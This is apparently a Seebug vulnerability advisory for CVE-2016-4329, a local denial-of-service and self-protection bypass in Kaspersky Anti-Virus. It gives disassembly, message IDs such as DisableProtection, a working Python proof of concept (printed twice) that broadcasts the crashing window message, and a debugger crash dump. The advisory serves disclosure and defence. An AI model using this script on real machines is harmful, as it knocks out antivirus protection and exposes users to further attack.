Kaspersky Anti-Virus Unhandled Windows Messages Denial of Service Vulnerability(CVE-2016-4329)

2017-10-13T00:00:00
ID SSV:96674
Type seebug
Reporter Root
Modified 2017-10-13T00:00:00

Description

Summary

An local denial of service vulnerability exists in window broadcast message handling functionality of Kaspersky Anti-Virus software. Sending certain unhandled window messages, attacker can cause application termination and in the same way bypass KAV self-protection mechanism.

Tested Versions

Kaspersky Total Security 16.0.0.614

Product URLs

http://www.kaspersky.com/

Details

Broadcast window messages are used by AVP protocol to certain actions trigger in Kaspersky AntiVirus such as switching current application tab to scan, tools, settings, etc. The below dispatcher code is responsible for calling appropriate handlers. The handlers for the wParam values listed result in termination of the Kaspersky AVP user application and protection bypass. ``` .text:56DB4150 sub_56DB4150 proc near .text:56DB4150 .text:56DB4150 push esi .text:56DB4151 mov esi, ecx .text:56DB4153 cmp eax, 1Dh ; switch 30 cases .text:56DB4156 ja loc_56DB42DD ; jumptable 671F415C default case .text:56DB415C jmp ds:off_56DB42E8[eax*4] ; switch jump (...)

ParentalControl - 7 DisableParentalControl - 8 DisableProtection - 14 EnableProtection - 15 Reboot - 16 SilentUpdateOpen - 17 SilentUpdateInfo - 18 SilentUpdateCancel - 19 ```

Proof of Concept

``` import win32con import win32api

messageName = "Kaspersky Anti-Virus"

def crash_avpui(): msgID = win32api.RegisterWindowMessage(messageName) wParam = 8 # one of crashing IDs lParam = 0 print "[+] Sending message : Msg : 0x%x wParam : 0x%x" % (msgID,wParam) win32api.PostMessage(win32con.HWND_BROADCAST,msgID,wParam,lParam) print "[+] Message sent"

if name == "main": crash_avpui() ```

Crash analysis

``` 0:000> !analyze -v


  • *
  • Exception Analysis *
  • *

ERROR: Symbol file could not be found. Defaulted to export symbols for avpuimain.dll - ERROR: Module load completed but symbols could not be loaded for avpui.exe ERROR: Symbol file could not be found. Defaulted to export symbols for DumpWriter.dll - ERROR: Symbol file could not be found. Defaulted to export symbols for instrumental_services.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for ushata.dll -

FAULTING_IP: KERNELBASE!RaiseException+58 7565b760 c9 leave

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 7565b760 (KERNELBASE!RaiseException+0x00000058) ExceptionCode: e0434352 (CLR exception) ExceptionFlags: 00000001 NumberParameters: 5 Parameter[0]: 80070057 Parameter[1]: 00000000 Parameter[2]: 00000000 Parameter[3]: 00000000 Parameter[4]: 6ea50000

DEFAULT_BUCKET_ID: WRONG_SYMBOLS

PROCESS_NAME: avpui.exe

ERROR_CODE: (NTSTATUS) 0xe0434352 - <Unable to get error code text>

EXCEPTION_CODE: (NTSTATUS) 0xe0434352 - <Unable to get error code text>

EXCEPTION_PARAMETER1: 80070057

EXCEPTION_PARAMETER2: 00000000

EXCEPTION_PARAMETER3: 00000000

EXCEPTION_PARAMETER4: 0

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

APP: avpui.exe

MANAGED_STACK: !dumpstack -EE No export dumpstack found

PRIMARY_PROBLEM_CLASS: WRONG_SYMBOLS

BUGCHECK_STR: APPLICATION_FAULT_WRONG_SYMBOLS_CLR_EXCEPTION

LAST_CONTROL_TRANSFER: from 6eb7d135 to 7565b760

STACK_TEXT: 0012e97c 6eb7d135 e0434352 00000001 00000005 KERNELBASE!RaiseException+0x58 0012ea18 6eb7db8c 00000000 019ac3a0 0012eb98 clr!RaiseTheExceptionInternalOnly+0x27c 0012eae0 0f88498c 1144adc8 1144add4 00000000 clr!IL_Throw+0x138 WARNING: Frame IP not in any known module. Following frames may be wrong. 0012ebe0 772b22a5 00000000 0000000f 0012ebfc 0xf88498c 0012ebf0 015ae23e 6c0f323d 0012ec24 0ebc3615 ntdll!LdrGetProcedureAddress+0x18 0012ec14 6ea512cc 00000000 0012f290 0012ec90 0x15ae23e 0012ec24 646e6687 0000000f 00000000 0000000f clr!IJWNOADThunkJumpTarget+0x15 0012ec90 646f8444 0148b4c0 0000000f 00000000 avpuimain!SoundPlayW+0x10d87 0012ecf4 6470d435 0000000f 00000000 0012ed38 avpuimain!SoundPlayW+0x22b44 0012ed04 6471fea4 0147ad58 0000000f 00000000 avpuimain!SoundPlayW+0x37b35 0012ed38 6471fdc2 0012ee98 0012ed5b 00246317 avpuimain!SoundPlayW+0x4a5a4 0012ed6c 646d0428 0012eda0 002463e3 0147acf8 avpuimain!SoundPlayW+0x4a4c2 0012ed98 646fb491 0146a2b8 0146a240 0012ee10 avpuimain+0x20428 0012eeb8 646d988f 0000000f 00000000 0000800a avpuimain!SoundPlayW+0x25b91 0012eef8 646d99a7 0012ef54 0000800a 0000000f avpuimain!SoundPlayW+0x3f8f 0012ef60 75a1c4e7 00010166 0000800a 0000000f avpuimain!SoundPlayW+0x40a7 0012ef8c 75a1c5e7 646d9930 00010166 0000800a user32!InternalCallWinProc+0x23 0012f004 75a1cc19 00000000 646d9930 00010166 user32!UserCallWinProcCheckWow+0x14b 0012f064 75a1cc70 646d9930 00000000 0012f138 user32!DispatchMessageWorker+0x35e 0012f074 646f0617 0012f090 00247f43 75a137d8 user32!DispatchMessageW+0xf 0012f138 646f0b16 00247c7b 0012f308 0012f290 avpuimain!SoundPlayW+0x1ad17 0012f200 646f0282 00247c1f 00000000 0012f274 avpuimain!SoundPlayW+0x1b216 0012f264 646d3bee 0012f290 0012f844 0068002d avpuimain!SoundPlayW+0x1a982 0012f7c8 001f15f3 001f0000 00000000 002619a0 avpuimain!Execute+0x8e 0012f848 001f3108 001f0000 00000000 002619a0 avpui+0x15f3 0012f8d8 75973c45 7ffd3000 0012f924 772b37f5 avpui+0x3108 0012f8e4 772b37f5 7ffd3000 77227104 00000000 kernel32!BaseThreadInitThunk+0xe 0012f924 772b37c8 001f315b 7ffd3000 00000000 ntdll!__RtlUserThreadStart+0x70 0012f93c 00000000 001f315b 7ffd3000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: ~0s; .ecxr ; kb

FOLLOWUP_IP: clr!IJWNOADThunkJumpTarget+15 6ea512cc 85c0 test eax,eax

SYMBOL_STACK_INDEX: 6

SYMBOL_NAME: clr!IJWNOADThunkJumpTarget+15

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: clr

IMAGE_NAME: clr.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 5584e56f

FAILURE_BUCKET_ID: WRONG_SYMBOLS_e0434352_clr.dll!IJWNOADThunkJumpTarget

BUCKET_ID: APPLICATION_FAULT_WRONG_SYMBOLS_CLR_EXCEPTION_clr!IJWNOADThunkJumpTarget+15

WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avpui_exe/16_0_0_625/55b135da/KERNELBASE_dll/6_1_7601_17514/4ce7b8f0/e0434352/0000b760.htm?Retriage=1

Followup: MachineOwner

```

Timeline

  • 2016-03-17 - Discovery
  • 2016-04-29 - Reported
  • 2016-09-05 - Released
                                        
                                            
                                                import win32con
import win32api

messageName = "Kaspersky Anti-Virus"

def crash_avpui():
    msgID  = win32api.RegisterWindowMessage(messageName)
    wParam = 8 # one of crashing IDs
    lParam = 0
    print "[+] Sending message : Msg : 0x%x      wParam : 0x%x" % (msgID,wParam)
    win32api.PostMessage(win32con.HWND_BROADCAST,msgID,wParam,lParam)
    print "[+] Message sent"

if __name__ == "__main__":
    crash_avpui()